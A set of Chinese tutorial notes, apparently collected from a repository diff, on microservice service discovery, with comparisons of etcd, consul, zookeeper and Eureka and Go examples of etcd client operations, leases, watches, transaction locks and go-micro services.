那么问题就演变成了我们需要发现端口号让别人知道为了能够定位服务需要下面2个步骤
- 服务注册该步骤存储的信息至少包括正在运行的服务的主机和端口信息
- 服务发现该步骤允许其他用户可以发现在服务注册阶段存储的信息
微服务的框架体系中服务发现是不能不提的一个模块客户端的一个接口需要调用多个服务客户端必须知道所有服务的网络位置以往的做法是使用配置文件或者配置在数据库中这就出现了一些问题
- 需要配置N个服务的网络位置加大配置的复杂性
- 服务的网络位置变化都需要改变每个调用者的配置
- 集群的情况下难以做负载(反向代理的方式除外)
有了服务发现模块多个微服务把当前自己的网络位置注册 到服务发现模块(这里注册的意思就是告诉)服务发现就以K-V的方式记录下K一般是服务名V就是 IP:PORT服务发现模块定时的轮询查看这些服务能不能访问的了(这就是健康检查)客户端在调用服务A-N的 时候就跑去服务发现模块问下它们的网络位置然后再调用它们的服务
客户端完全不需要记录这些服务网络位置客户端和服务端完全解耦!
#### 1.2 需要额外考虑的地方
如果一个服务停止工作并部署/注册了一个新的服务实例那么该服务是否应该注销呢当有相同服务的多个副本时咋办我们该如何做负载均衡呢如果一个服务器宕机了咋办所有这些问题都与注册和发现阶段紧密关联现在我们限定只在服务发现的范围里常见的名字围绕上述步骤以及用于服务发现任务的工具它们中的大多数采用了高可用的分布式键/值存储这就是服务发现工具需要实现的功能
#### 1.3 服务发现工具
服务发现背后的基本思想是对于服务的每一个新实例或应用程序能够识别当前环境和存储相关信息存储的注册表信息本身通常采用键/值对的格式由于服务发现经常用于分布式系统所以要求这些信息可伸缩支持容错和分布式集群中的所有节点这种存储的主要用途是给所有感兴趣的各方提供最起码诸如服务IP地址和端口这样的信息用于它们之间的相互通讯这些数据还经常扩展到其它类型的信息服务发现工具倾向于提供某种形式的API用于服务自身的注册以及服务信息的查找
比方说我们有两个服务一个是提供方另一个是第一个服务的消费者一旦部署了服务提供方就需要在服务发现注册表中存储其信息接着当消费者试图访问服务提供者时它首先查询服务注册表使用获取到的IP地址和端口来调用服务提供者为了与注册表中的服务提供方的具体实现解耦我们常常采用某种代理服务这样消费者总是向固定IP地址的代理请求信息代理再依次使用服务发现来查找服务提供方信息并重定向请求在本文中我们稍后通过反向代理来实现现在重要的是要理解基于三种角色服务消费者提供者和代理的服务发现流程
服务发现工具要查找的是数据至少我们应该能够找出服务在哪里服务是否健康和可用配置是什么样的既然我们正在多台服务器上构建一个分布式系统那么该工具需要足够健壮保证其中一个节点的宕机不会危及数据同时每个节点应该有完全相同的数据副本进一步地我们希望能够以任何顺序启动服务杀死服务或者替换服务的新版本我们还应该能够重新配置服务并且查看到数据相应的变化
## 常用的服务发现技术
#### 2.0 常见服务发现技术列表
- zookeeper历史最悠久起源于Hadoop成熟健壮生态丰富已经被大量公司使用但是其过于复杂重量级后续诞生了许多替代品
- etcd是一个采用http协议的jkv存储系统搭配第三方工具后可以提供服务发现功能RegistratorConfd
- Eureka
- consul
特点对比
![](../images/go/micro-01.png)
#### 2.1 健康检查对比
- consul非常详细如检查内存占用是否到达90%文件系统空间是否不足
- Zookeeperetcd在失去了和服务进程连接的情况下任务不健康
- Euraka需要显式配置健康检查
#### 2.2 多数据中心支持对比
- consul使用WAN的Gossip协议完成了跨数据中心同步其他产品则需要额外开发工具链
#### 2.3 CAP理论取舍对比
- consulEureka典型的AP适合分布式服务服务发现的可用性优先级较高consul更能提供更高的可用性保证KV stor的一致性
- zookeeperetcdCP类型牺牲可用性在服务发现场景优势较弱
#### 2.4 kv支持对比
只有Eureka不支持
#### 2.5 跨语言支持对比
- consul支持http1.1接入还支持标准的REST服务api还提供了DNS支持
- etc支持http1.1接入还支持grpc
- Zookeeper跨语言支持较弱
- Euraka一般通过sidecar的方式提供多语言客户端接入支持
#### 2.6 watch支持对比客户端观察到服务提供者变化
- consul使用长轮询方式实现变化感知
- etcd使用长轮询方式实现变化感知
- Zookeeper支持服务端推送变化
- Eureka1.0版本使用长轮询方式实现变化感知2.0版本计划支持服务端推送变化
#### 2.7 自身集群监控
除了Zookeeper其他都默认支持metrics可以搜集并报警这些度量信息达到监控目的
#### 2.8 其他
Java著名微服务架构体系SpringCloud对上述四者都提供了集成但对Consul支持较为完善
参考地址http://dockone.io/article/667

View File

@ -0,0 +1,95 @@
## etcd简介
#### 1.1 etcd是什么
etcd是一个分布式KV存储库内部采用Raft协议作为一致性算法选举leader同步key-value其特性是高可用强一致
集群一般采取大多数模型(quorum)来选举leader即集群需要2N+1个节点这时总能产生1个leader多个followeretcd也不例外每个etcd cluster都由若干个member组成每个member是一个独立运行的etcd实例单机上也可以运行多个member
在正常运行的状态下集群中会有一个 leader其余的 member 都是 followersleader followers 同步日志保证数据在各个 member 都有副本leader 还会定时向所有的 member 发送心跳报文如果在规定的时间里 follower 没有收到心跳就会重新进行选举客户端所有的请求都会先发送给 leaderleader 向所有的 followers 同步日志等收到超过半数的确认后就把该日志存储到磁盘并返回响应客户端
每个 etcd 服务有三大主要部分组成
- raft 实现
- WAL 日志存储在本地磁盘--data-dir上存储日志内容wal file和快照snapshot
- 数据的存储和索引
etcd调用阶段
- 阶段1调用者调用leaderleader会将kv数据存储在日志中并利用实时算法raft进行复制
- 阶段2当复制给了N+1个节点后本地提交返回给客户端最后leader异步通知follower完成通知
注意日志只要复制给了大多数就不会丢
raft日志概念
- replication日志在leader生成向follower复制最终达到各个节点日志序列一致
- term任期重新选举产生的leader其term单调递增
- log index日志行在日志序列的下标
## etcd安装
### 2.1 Linux安装
启动
```
## 启动强制其监听在公网端口
nohup ./etcd --listen-client-urls 'http://0.0.0.0:2379' --advertise-client-urls 'http://0.0.0.0:2379' &
## 查看日志确认etcd是否启动成功
less nohup.out
```
### 2.2 Mac安装
安装etcd
```
brew search etcd
brew install etcd
```
运行
```
etcd
```
### 2.3 启动后的一些默认显示
在启动etcd后会显示一些配置信息
- etcdserver: name = default name表示节点名称默认为default
- data-dir保存日志和快照的目录默认为当前工作目录default.etcd/
- 通信相关:
- 在http://localhost:2380和集群中其他节点通信
- 在http://localhost:2379提供HTTP API服务供客户端交互。等会配置webui就是这个地址
- etcdserver: heartbeat = 100ms leader发送心跳到followers的间隔时间
- etcdserver: election = 1000ms 重新投票的超时时间如果follow在该时间间隔没有收到心跳包会触发重新投票默认为1000ms
### 2.4 etcd webui
这里使用了一个nodejs开发的web
```
git clone https://github.com/henszey/etcd-browser.git
cd etcd-browser/
vim server.js
var etcdHost = process.env.ETCD_HOST || '127.0.0.1'; # etcd 主机IP
var etcdPort = process.env.ETCD_PORT || 4001; # etcd 主机端口
var serverPort = process.env.SERVER_PORT || 8000; # etcd-browser 监听端口
# 启动
node server.js
```
## etcd客户端操作
常用命令
```
ETCDCTL_API=3 ./etcdctl # 查看所有命令
ETCDCTL_API=3 ./etcdctl put "hello" "world"
ETCDCTL_API=3 ./etcdctl get "hello"
# 顺序存储的键可以使用前缀模糊查询
ETCDCTL_API=3 ./etcdctl put "/users/user1" "zs"
ETCDCTL_API=3 ./etcdctl put "/users/user2" "ls"
ETCDCTL_API=3 ./etcdctl get "/users/" --prefix # 查询全部该前缀
ETCDCTL_API=3 ./etcdctl watch "/users/" --prefix # 监听该前缀数据变化此时另起命令行操作数据则当前命令行能监听到
```

View File

@ -0,0 +1,18 @@
## etcd实现服务发现
etcd是一个采用HTTP协议的健/值对存储系统它是一个分布式和功能层次配置系统可用于构建服务发现系统对比庞大的conusl和Zookeeperetcd系统本身极为简单因为仅仅是一个分布式kv存储但是他需要搭配一些第三方工具才可以实现服务发现功能
现在我们有一个地方来存储服务相关信息我们还需要一个工具可以自动发送信息给etcd但在这之后为什么我们还需要手动把数据发送给etcd呢即使我们希望手动将信息发送给etcd我们通常情况下也不会知道是什么信息记住这一点服务可能会被部署到一台运行最少数量容器的服务器上并且随机分配一个端口理想情况下这个工具应该监视所有节点上的Docker容器并且每当有新容器运行或者现有的一个容器停止的时候更新etcd其中的一个可以帮助我们达成目标的工具就是Registrator
Registrator通过检查容器在线或者停止运行状态自动注册和去注册服务它目前支持etcdConsul和SkyDNS 2
Registrator与etcd是一个简单但是功能强大的组合可以运行很多先进的技术每当我们打开一个容器所有数据将被存储在etcd并传播到集群中的所有节点我们将决定什么信息是我们的
我们还需要一种方法来创建配置文件与数据都存储在etcd通过运行一些命令来创建这些配置文件
Confd是一个轻量级的配置管理工具常见的用法是通过使用存储在etcdconsul和其他一些数据登记处的数据保持配置文件的最新状态它也可以用来在配置文件改变时重新加载应用程序换句话说我们可以用存储在etcd或者其他注册中心的信息来重新配置所有服务
最后的组合如图所示
![](../images/go/etcd-01.png)
当etcdRegistrator和Confd结合时可以获得一个简单而强大的方法来自动化操作我们所有的服务发现和需要的配置这个组合还展示了工具正确组合的有效性这三个小东西可以如我们所愿正好完成我们需要达到的目标若范围稍微小一些我们将无法完成我们面前的目标而另一方面如果他们设计时考虑到更大的范围我们将引入不必要的复杂性和服务器资源开销

View File

@ -0,0 +1,133 @@
## golang对etcd的增删改查
```go
package main
import (
"context"
"fmt"
"github.com/etcd-io/etcd/clientv3"
"time"
)
func connect() (client *clientv3.Client, err error){
client, err = clientv3.New(clientv3.Config{
// etcd的集群数组我们这里只有1个
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
DialTimeout: 5 * time.Second,
})
if err != nil {
fmt.Println("connect err:", err)
return nil, err
}
return client, err
}
func main() {
// 连接
cli, err := connect()
defer cli.Close()
if err != nil {
return
}
// 获取etcd读写对象
kv := clientv3.NewKV(cli)
// 添加键值对
r1, err := kv.Put(context.TODO(), "/lesson/math", "100") // 添加数学课程为100分
if err != nil {
fmt.Println("put key1 err:", err)
return
}
// 继续添加键值对
r2, err := kv.Put(context.TODO(), "/lesson/music", "50") // 添加音乐课程为50分
if err != nil {
fmt.Println("put key2 err:", err)
return
}
fmt.Println("添加结果r1: ", r1) // &{cluster_id:14841639068965178418 member_id:10276657743932975437 revision:9 raft_term:2 <nil>}
fmt.Println("添加结果r2: ", r2) // &{cluster_id:14841639068965178418 member_id:10276657743932975437 revision:10 raft_term:2 <nil>}
// 获取整个 /lesson目录下的数据
getAll, err := kv.Get(context.TODO(), "/lesson/", clientv3.WithPrefix())
if err != nil {
fmt.Println("select all err: ", err)
return
}
// [key:"/lesson/math" create_revision:9 mod_revision:25 version:8 value:"100" key:"/lesson/music" create_revision:26 mod_revision:26 version:1 value:"50" ]
fmt.Println("查询所有:", getAll.Kvs)
// 删除键值对,如果添加参数:clientv3.WithPrevKV()则delResult结果中包含删除前的结果PrevKvs
delResult, err := kv.Delete(context.TODO(), "/lesson/music")
if err != nil {
fmt.Println("del key2 err:", err)
return
}
fmt.Println("删除r2结果:", delResult)
// 修改键值对修改仍然是Put
updRerulst, err := kv.Put(context.TODO(), "/lesson/math", "30")
if err != nil {
fmt.Println("upd key2 err:", err)
return
}
fmt.Println("修改r1结果:", updRerulst)
// 查询当前r1的值 该函数支持重载,第三个参数都是 clientv3.With***,用来限制返回结果
getR1, err := kv.Get(context.TODO(), "/lesson/math")
if err != nil {
fmt.Println("select r1 err: ", err)
return
}
// [key:"/lesson/math" create_revision:9 mod_revision:13 version:3 value:"100" ]
fmt.Println("查询r1结果", getR1.Kvs)
// 查询被删除的r2的值
getR2, err := kv.Get(context.TODO(), "/lesson/music")
if err != nil {
fmt.Println("select r2 err: ", err)
return
}
// []
fmt.Println("查询r2结果", getR2.Kvs)
}
```
## 批量操作
- 批量删除`kv.Delete(context.TODO(), "/lesson/", clientv3.WithPrevfix())`
- 批量按顺序删除并删除2个`kv.Delete(context.TODO(), "/lesson/lesson1", clientv3.WithFromKey(),clientv3.WithLimit(2))`
## 使用OP操作代替原有的增删改查
```go
// 创建Op
putOp := clientv3.OpPut("/cron/jobs/job8", "888")
// 执行Op
opR, err := kv.Do(context.TODO(), putOp)
if err != nil {
fmt.Println("putOp err:", err)
return
}
fmt.Println("写入Revision", opR.Put().Header.Revision)
// 创建Op
getOp := clientv3.OpGet("/cron/jobs/job8")
// 执行Op
opR2, err := kv.Do(context.TODO(), getOp)
if err != nil {
fmt.Println("getOp err:", err)
return
}
fmt.Println("获取Revisoon", opR2.Get().Kvs[0].ModRevision)
fmt.Println("获取Value", opR2.Get().Kvs[0].Value)
```

View File

@ -0,0 +1,177 @@
## 租约机制自动过期
```go
package main
import (
"context"
"fmt"
"github.com/etcd-io/etcd/clientv3"
"time"
)
func connect() (client *clientv3.Client, err error){
client, err = clientv3.New(clientv3.Config{
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
DialTimeout: 5 * time.Second,
})
if err != nil {
fmt.Println("connect err:", err)
return nil, err
}
return client, err
}
func main() {
// 连接
cli, err := connect()
defer cli.Close()
if err != nil {
return
}
// 获取etcd读写对象
kv := clientv3.NewKV(cli)
// 申请一个10秒租约
lease := clientv3.NewLease(cli)
leaseR, err := lease.Grant(context.TODO(), 10)
if err != nil {
fmt.Println("lease err:", err)
return
}
// 使用该租约put一个kv
putR, err := kv.Put(context.TODO(), "/cron/lock/job1", "10001", clientv3.WithLease(leaseR.ID))
if err != nil {
fmt.Println("put err:", err)
return
}
fmt.Println("写入成功:", putR.Header.Revision)
// 定时查看key是否过期
for {
getR, err := kv.Get(context.TODO(), "/cron/lock/job1")
if err != nil {
fmt.Println("get err:", err)
return
}
if getR.Count == 0 {
fmt.Println("key过期")
break
} else {
fmt.Println("还未过期")
time.Sleep(2 * time.Second)
}
}
}
```
#### 1.3 租约续租
我们希望能够续约并能根据需要删除
```go
package main
import (
"context"
"fmt"
"github.com/etcd-io/etcd/clientv3"
"time"
)
func connect() (client *clientv3.Client, err error){
client, err = clientv3.New(clientv3.Config{
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
DialTimeout: 5 * time.Second,
})
if err != nil {
fmt.Println("connect err:", err)
return nil, err
}
return client, err
}
func main() {
// 连接
cli, err := connect()
defer cli.Close()
if err != nil {
return
}
// 获取etcd读写对象
kv := clientv3.NewKV(cli)
// 申请一个10秒租约
lease := clientv3.NewLease(cli)
leaseR, err := lease.Grant(context.TODO(), 10)
if err != nil {
fmt.Println("lease err:", err)
return
}
// 自动续租 返回值是个只读的chan因为写入只能是etcd实现
keepChan, err := lease.KeepAlive(context.TODO(), leaseR.ID )
if err != nil {
fmt.Println("keep err:", err)
return
}
// 启动一个协程去消费chan的应答
go func(){
for {
select {
case keepR := <- keepChan:
if keepChan == nil { // 此时系统异常或者主动取消context
fmt.Println("租约失效")
goto END
} else { // 每秒续租一次
fmt.Println("收到自动续租应答:", keepR.ID)
}
}
}
END:
}()
// 使用该租约put一个kv
putR, err := kv.Put(context.TODO(), "/cron/lock/job1", "10001", clientv3.WithLease(leaseR.ID))
if err != nil {
fmt.Println("put err:", err)
return
}
fmt.Println("写入成功:", putR.Header.Revision)
// 定时查看key是否过期
for {
getR, err := kv.Get(context.TODO(), "/cron/lock/job1")
if err != nil {
fmt.Println("get err:", err)
return
}
if getR.Count == 0 {
fmt.Println("key过期")
break
} else {
fmt.Println("还未过期")
time.Sleep(2 * time.Second)
}
}
}
```
如果我们要主动让context取消则会让租约失效现在定义一个5秒后取消的context
```go
// 续租了5秒然后手动停止续租即总共有15秒生命
ctx, _ := context.WithTimeout(context.TODO(), 5 * time.Second)
// 自动续租 返回值是个只读的chan因为写入只能是etcd实现
keepChan, err := lease.KeepAlive(ctx, leaseR.ID )
```

View File

@ -0,0 +1,89 @@
#### 1.3 示例2 watch机制
```go
package main
import (
"context"
"fmt"
"github.com/etcd-io/etcd/clientv3"
"time"
"github.com/coreos/etcd/mvcc/mvccpb"
)
func connect() (client *clientv3.Client, err error){
client, err = clientv3.New(clientv3.Config{
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
DialTimeout: 5 * time.Second,
})
if err != nil {
fmt.Println("connect err:", err)
return nil, err
}
return client, err
}
func main() {
// 连接
cli, err := connect()
defer cli.Close()
if err != nil {
return
}
// 获取etcd读写对象
kv := clientv3.NewKV(cli)
// 模拟变化
go func() {
for {
kv.Put(context.TODO(), "/cron/jobs/job7", "job7")
kv.Delete(context.TODO(), "/cron/jobs/job7")
time.Sleep(1 * time.Second)
}
}()
// 获取当前值
getR, err := kv.Get(context.TODO(), "/cron/jobs/job7")
if err != nil {
fmt.Println("get err:", err)
return
}
if len(getR.Kvs) != 0 { // key存在
fmt.Println("当前值:", string(getR.Kvs[0].Value))
}
// 监听后续变化: revision是当前etcd集群事务ID该ID是单调递增
wathStartRevision := getR.Header.Revision + 1
watcher := clientv3.NewWatcher(cli) // 创建wathcer
fmt.Println("从该版本向后监听:", wathStartRevision)
watchChan := watcher.Watch(context.TODO(), "/cron/jobs/job7", clientv3.WithRev(wathStartRevision))
// 如果有变化则会将变化丢到watchChan
for watchResult := range watchChan{
for _, event := range watchResult.Events {
switch event.Type {
case mvccpb.PUT:
fmt.Println("修改为:", string(event.Kv.Value), "Revision:", event.Kv.CreateRevision, event.Kv.ModRevision)
case mvccpb.DELETE:
fmt.Println("删除了Revision:", event.Kv.ModRevision )
}
}
}
}
```
如果要取消监听同样是通过取消contex来实现
```go
ctx, cancelFunc := context.WithTimeout(context.TODO(), 5 * time.Second)
// 5秒后执行退出函数
time.AfterFunc(5 * time.Second, func(){
cancelFunc()
})
watchChan := watcher.Watch(ctx, "/cron/jobs/job7", clientv3.WithRev(wathStartRevision))
```

View File

@ -0,0 +1,69 @@
## etcd中的事务
## 示例
```go
// 第一步加锁创建租约确保租约不过期使用租约抢占key
// 申请一个5秒租约
lease := clientv3.NewLease(cli)
leaseR, err := lease.Grant(context.TODO(), 5)
if err != nil {
fmt.Println("lease err:", err)
return
}
// 第三步中的释放锁 准备一个用于取消自动续租的context
ctx, cancelFunc := context.WithCancel(context.TODO())
defer cancelFunc()
defer lease.Revoke(context.TODO(), leaseR.ID) // 释放租约
// 自动续租 返回值是个只读的chan因为写入只能是etcd实现
keepChan, err := lease.KeepAlive(ctx, leaseR.ID )
if err != nil {
fmt.Println("keep err:", err)
return
}
// 启动一个协程去消费chan的应答
go func(){
for {
select {
case keepR := <- keepChan:
if keepChan == nil { // 此时系统异常或者主动取消context
fmt.Println("租约失效")
goto END
} else { // 每秒续租一次
fmt.Println("收到自动续租应答:", keepR.ID)
}
}
}
END:
}()
// 使用事务判断key是否存在判断其
key := "/cron/lock/jobX"
kv := clientv3.NewKV(cli)
txn := kv.Txn(context.TODO()) // 分布式事务
txn.If(clientv3.Compare(clientv3.CreateRevision(key), "=", 0)).
Then(clientv3.OpPut(key, "xxx", clientv3.WithLease(leaseR.ID))). // 一般这里val记录是哪个ID抢到
Else(clientv3.OpGet(key)) // 否则抢锁失败
// 提交事务
txnR, err := txn.Commit()
if err != nil {
fmt.Println("txn失败:", err)
return
}
// 判断是否抢到了锁
if !txnR.Succeeded {
fmt.Println("没抢到锁,锁已被占用;", string(txnR.Responses[0].GetResponseRange().Kvs[0].Value))
return
}
// 第二步:业务代码书写
fmt.Println("模拟处理任务")
time.Sleep(time.Second * 5)
// 第三步:释放锁(取消续租,释放租约)
```
多次执行上述方法观察结果

View File

@ -0,0 +1,137 @@
## go micro简介
Go Micro是基于Golang的微服务开发框架该框架解决了构建云本地系统的关键需求提供了分布式系统开发需要的核心库包含了RPC与事件驱动的通信机制
Go Micro隐藏了分布式系统的复杂性将微服务体系内的技术转换为了一组工具集合且符合可插拔的设计哲学开发人员可以利用它快速构建系统组件并能依据需求剥离默认实现并实现定制
Go Micro核心特性
- 服务发现Service Discovery自动服务注册与名称解析默认的服务发现系统是Consul
- 负载均衡Load Balancing在服务发现之上构建了负载均衡机制对服务请求分发的均匀分布并且在发生问题时进行重试
- 消息编码Message Encoding支持基于内容类型content-type动态编码消息content-type默认包含proto-rpc和json-rpc
- Request/ResponseRPC通信基于支持双向流的请求/响应方式提供有抽象的同步通信机制默认的传输协议是http/1.1而tls下使用http2协议
- 异步消息Async Messaging发布订阅PubSub等功能内置在异步通信与事件驱动架构中
- 可插拔接口Pluggable Interfaces - Go Micro为每个分布式系统抽象出接口因此Go Micro的接口都是可插拔的
## go micro安装
micro安装步骤
```
# 安装依赖插件 protobuf
go get -u github.com/golang/protobuf/{proto,protoc-gen-go}
go get -u github.com/micro/protoc-gen-micro
# 安装 micro库该库用于生成micro命令micro命令可以用来快速生成基于go-micro的项目
go get -u -v github.com/micro/micro
cd $GOPATH
go install github.com/micro/micro
# 测试
micro
```
## micro new run 命令
```
micro new # 相对于$GOPATH创建一个新的微服务
# 参数 --namespace "test" 服务的命名空间
# 参数 --type "srv" 服务类型常用的有 srv api web fnc
# 参数 --fqdn 服务正式的全定义
# 参数 --alias 别名是在指定时作为组合名的一部分使用的短名称
micro run # 运行这个微服务
```
注意new默认创建的项目是以rpc为通信协议mdns为服务发现的基本不具备生产价值笔者在下一章使用 go micro 手动创建项目集成了grpcetcd
## hello world
hello.proto
```
syntax = "proto3";
service Greeter {
rpc Hello(HelloRequest) returns (HelloResponse) {}
}
message HelloRequest {
string name = 1;
}
message HelloResponse {
string greeting = 2;
}
```
生成proto的go文件
```
protoc --proto_path=$GOPATH/src:. --micro_out=. --go_out=. hello.proto
```
服务端
```go
package main
import (
"context"
"fmt"
micro "github.com/micro/go-micro"
proto "mygoproject/gomirco" //这里写你的proto文件放置路劲
)
type Greeter struct{}
func (g *Greeter) Hello(ctx context.Context, req *proto.HelloRequest, rsp *proto.HelloResponse) error {
rsp.Greeting = "Hello " + req.Name
return nil
}
func main() {
// Create a new service. Optionally include some options here.
service := micro.NewService(
micro.Name("greeter"),
)
// Init will parse the command line flags.
service.Init()
// Register handler
proto.RegisterGreeterHandler(service.Server(), new(Greeter))
// Run the server
if err := service.Run(); err != nil {
fmt.Println(err)
}
}
```
客户端
```go
package main
import (
"context"
"fmt"
micro "github.com/micro/go-micro"
proto "mygoproject/gomirco" //这里写你的proto文件放置路劲
)
func main() {
// Create a new service. Optionally include some options here.
service := micro.NewService(micro.Name("greeter.client"))
service.Init()
// Create new greeter client
greeter := proto.NewGreeterService("greeter", service.Client())
// Call the greeter
rsp, err := greeter.Hello(context.TODO(), &proto.HelloRequest{Name: "John"})
if err != nil {
fmt.Println(err)
}
// Print response
fmt.Println(rsp.Greeting)
}
```

View File

@ -0,0 +1,314 @@
## go micro 示例
### 1.0 说明
本章的 go micro 示例使用 etcd 为服务发现机制 grpc 为通信协议并且基于go1.13版本使用go mod管理包
项目目录结构
```
|-microdemo
|- common 通用文件夹
|- code 项目状态码文件夹
- commonCode.go
|- config 项目通用配置文件夹
- commonConfig.go
|- simple 简单示例服务文件夹
|- handler 简单示例服务的服务句柄文件夹
|- testHandler
- testHandler.go
|- proto 简单示例服务的grpc协议文件夹
|- testProto
- test.micro.go
- test.pb.go
- test.proto
- main.go 主文件
|- web web服务文件夹
|- go.mod 项目管理文件
```
贴士本项目基于etcd必须先启动etcd
### 1.1 创建基础配置
创建一个名为 microdemo 的项目
```
go mod init microdemo
```
commonCode.go
```go
package code
type res struct {
Code int
Msg string
}
var OK *res
var SERERR *res
var DBERR *res
var INFOERR *res
var FILTERERR *res
var INFONOTFOUND *res
func init() {
// 正确请求
OK = &res{1000, "成功"}
// 数据校验 3
FILTERERR = &res{ 3001, "校验未通过", }
// 资源状态 4
INFONOTFOUND = &res{4001, "资源不存在",}
// 服务器状态 5
SERERR = &res{5001, "服务器错误",}
DBERR = &res{5002, "数据库错误",}
}
```
commonConfig.go
```go
package config
import "fmt"
var ENV = "TEST"
var EtcdAddr []string = []string{
"127.0.0.1:2379",
"127.0.0.1:2379",
"127.0.0.1:2379",
}
var RedisAddr string = "127.0.0.1"
var RedisPort string = "6379"
var RedisDB string = "0"
var FastDfsAddr string = "127.0.0.1"
var FastDfsPort string = "9090"
var StaticAddr string = "http://" + FastDfsAddr + ":" + FastDfsPort + "/"
func init() {
if ENV == "PROD" {
fmt.Println("执行生产环境配置")
}
}
```
### 1.2 创建第一个微服务simple
simple服务只是一个微服务的简单示例
生成协议文件
```go
# simple/proto/simpleProto/simple.proto
syntax = "proto3";
package simpleProto;
service SimpleService {
rpc SimpleFunc(SimpleRequest) returns (SimpleResponse) {}
}
message SimpleRequest {
int32 id = 1;
}
message SimpleResponse {
int32 code = 1;
string msg = 2;
}
# 生成go协议文件
cd simple/proto/simpleProto
protoc simple.proto --proto_path=. --go_out=. --micro_out=.
```
书写句柄函数即本服务具体做什么
```go
// simple/handler/simplerHandler/simplerHandler.go
package simpleHandler
import (
"context"
"microdemo/simple/proto/simpleProto"
)
// 简单微服务
type SimpleService struct{}
func (s *SimpleService) SimpleFunc(ctx context.Context, req *simpleProto.SimpleRequest, rsp *simpleProto.SimpleResponse) error {
// 执行业务操作....
// 返回业务数据给web服务
rsp.Code = 1
rsp.Msg = "成功"
return nil
}
```
main文件
```go
package main
import (
"github.com/micro/go-micro"
"github.com/micro/go-micro/registry"
"github.com/micro/go-micro/service/grpc"
"github.com/micro/go-micro/util/log"
"github.com/micro/go-plugins/registry/etcdv3"
"microdemo/simple/handler/simpleHandler"
"microdemo/simple/proto/simpleProto"
"microdemo/common/config"
)
func main() {
// 替换micro默认的服务发现框架consul为etcd
reg := etcdv3.NewRegistry(func(op *registry.Options){
op.Addrs = config.EtcdAddr
})
// 创建服务
service := grpc.NewService(
micro.Name("demo.srv.simple"),
micro.Registry(reg),
micro.Version("latest"),
micro.Address(":" + "30066"),
)
service.Init()
// 注册服务句柄
err := simpleProto.RegisterSimpleServiceHandler(service.Server(), new(simpleHandler.SimpleService))
if err != nil {
log.Error("注册句柄错误:", err)
return
}
// 运行服务
if err := service.Run(); err != nil {
log.Error("运行服务错误:", err)
return
}
}
```
### 1.3 创建第二个微服务web
handler句柄文件
```go
// web/handler/simpleHandler/simpleHandler.go
package simpleHandler
import (
"context"
"encoding/json"
"fmt"
"github.com/julienschmidt/httprouter"
"github.com/micro/go-micro/service/grpc"
"microdemo/simple/proto/simpleProto"
"net/http"
)
// 简单微服务方法
func Simple(w http.ResponseWriter, r *http.Request, p httprouter.Params) {
fmt.Println("参数:", p)
// grpc 服务初始化
service := grpc.NewService()
service.Init()
// 获取服务句柄
simpleClient := simpleProto.NewSimpleService("demo.srv.simple", service.Client())
// 调用服务
rsp, err := simpleClient.SimpleFunc(context.TODO(), &simpleProto.SimpleRequest{})
if err != nil {
fmt.Println("调用服务错误:", err)
http.Error(w, err.Error(), 500)
}
// 创建返回给前端的数据
result := map[string]interface{}{
"code": rsp.Code,
"msg": rsp.Msg,
}
if err := json.NewEncoder(w).Encode(result); err != nil {
http.Error(w, err.Error(), 500)
}
}
```
main.go
```go
package main
import (
"github.com/julienschmidt/httprouter"
"github.com/micro/go-micro/registry"
"github.com/micro/go-micro/util/log"
"github.com/micro/go-micro/web"
"github.com/micro/go-plugins/registry/etcdv3"
"microdemo/account/config"
"microdemo/web/handler/simpleHandler"
"net/http"
)
func main() {
// 替换micro默认的服务发现框架consul为etcd
reg := etcdv3.NewRegistry(func(op *registry.Options){
op.Addrs = config.EtcdAddr
})
// 创建web服务
service := web.NewService(
web.Name("demo.web.web"),
web.Registry(reg),
web.Version("latest"),
web.Address(":" + "3000"),
)
if err := service.Init(); err != nil {
log.Error("服务初始化错误:", err)
}
// 创建路由
router := httprouter.New()
router.NotFound = http.FileServer(http.Dir("public"))
// 测试路由
router.GET("/simple/:id", simpleHandler.Simple)
service.Handle("/", router)
// 运行服务
if err := service.Run(); err != nil {
log.Error("服务运行错误:", err)
}
}
```
### 1.4 服务启动与访问
启动etcd后启动服务
```
# 启动simple服务
cd simple
go run main.go --registry=etcd --registry_address=127.0.0.1:2379
# 启动web服务
cd web
go run main.go --registry=etcd --registry_address=127.0.0.1:2379
```
访问
```
localhost:3000/simple/10001
```

View File

@ -0,0 +1,97 @@
## 模拟三台集群
本章模拟微服务跨主机通信直接使用上一章中的rpc也可行
```
# 以server模式运行agent启动第一个节点node1
consul agent -server -bootstrap-expect 2 -data-dir ~/tmp/consul/data -node=n1 -bind=192.168.186.128 -ui -config-dir /etc/consul.d -rejoin -join 192.168.186.128 -client 0.0.0.0
# 以server模式运行agent启动第二个节点node1
consul agent -server -bootstrap-expect 2 -data-dir ~/tmp/consul/data -node=n2 -bind=192.168.186.129 -ui -rejoin -join 192.168.186.128
# 以client模式运行cosnul agent-join 加入到已有的集群中去
consul agent -data-dir /tmp/consul -node=n3 -bind=192.168.186.130 -config-dir /etc/consul.d -rejoin -join 192.168.186.128
```
## 启动服务
启动项目
```
# 在第一台主机上启动微服务mysrv
cd ~/go/src/test/mysrv
go run main.go
# 在第二台主机上启动微服务myweb
cd ~/go/src/test/myweb
go run main.go
```
在第一台主机上创建json文件/etc/consul.d/config.json
```json
{
"services":[
{
"name": "mysrv",
"tags": [
"srv"
],
"address": "127.0.0.1",
"port": 3000,
"checks": [
{
"http":"http://localhost:3000/health",
"interval":"10s"
}
]
},
{
"name": "myweb",
"tags": [
"web"
],
"address": "127.0.0.1",
"port": 8080,
"checks": [
{
"http":"http://localhost:3000/health",
"interval":"10s"
}
]
}
]
}
```
加载服务
```
consul reload
```
此时在第二台主机上输入localhost:8080就可以开始操作了
## 升级为grpc版本
mysrv的main中服务的创建方式修改为以下方式即可
```go
// "github.com/micro/go-micro/service/grpc"
// 创建新服务
service := grpc.NewService( // rpc版本是 micro.NewService()
//当前微服务的注册名
micro.Name("go.micro.srv.srv"),
//当前微服务的版本号
micro.Version("latest"),
)
```
myweb的handler中调用方式的改变
```go
// "github.com/micro/go-micro/service/grpc"
server := grpc.NewService()
server.Init()
mysrvClient := mysrv.NewMysrvService("go.micro.srv.mysrv", server.Client())
```

221
07-标准库/database.md Normal file
View File

@ -0,0 +1,221 @@
## Go的数据库接口
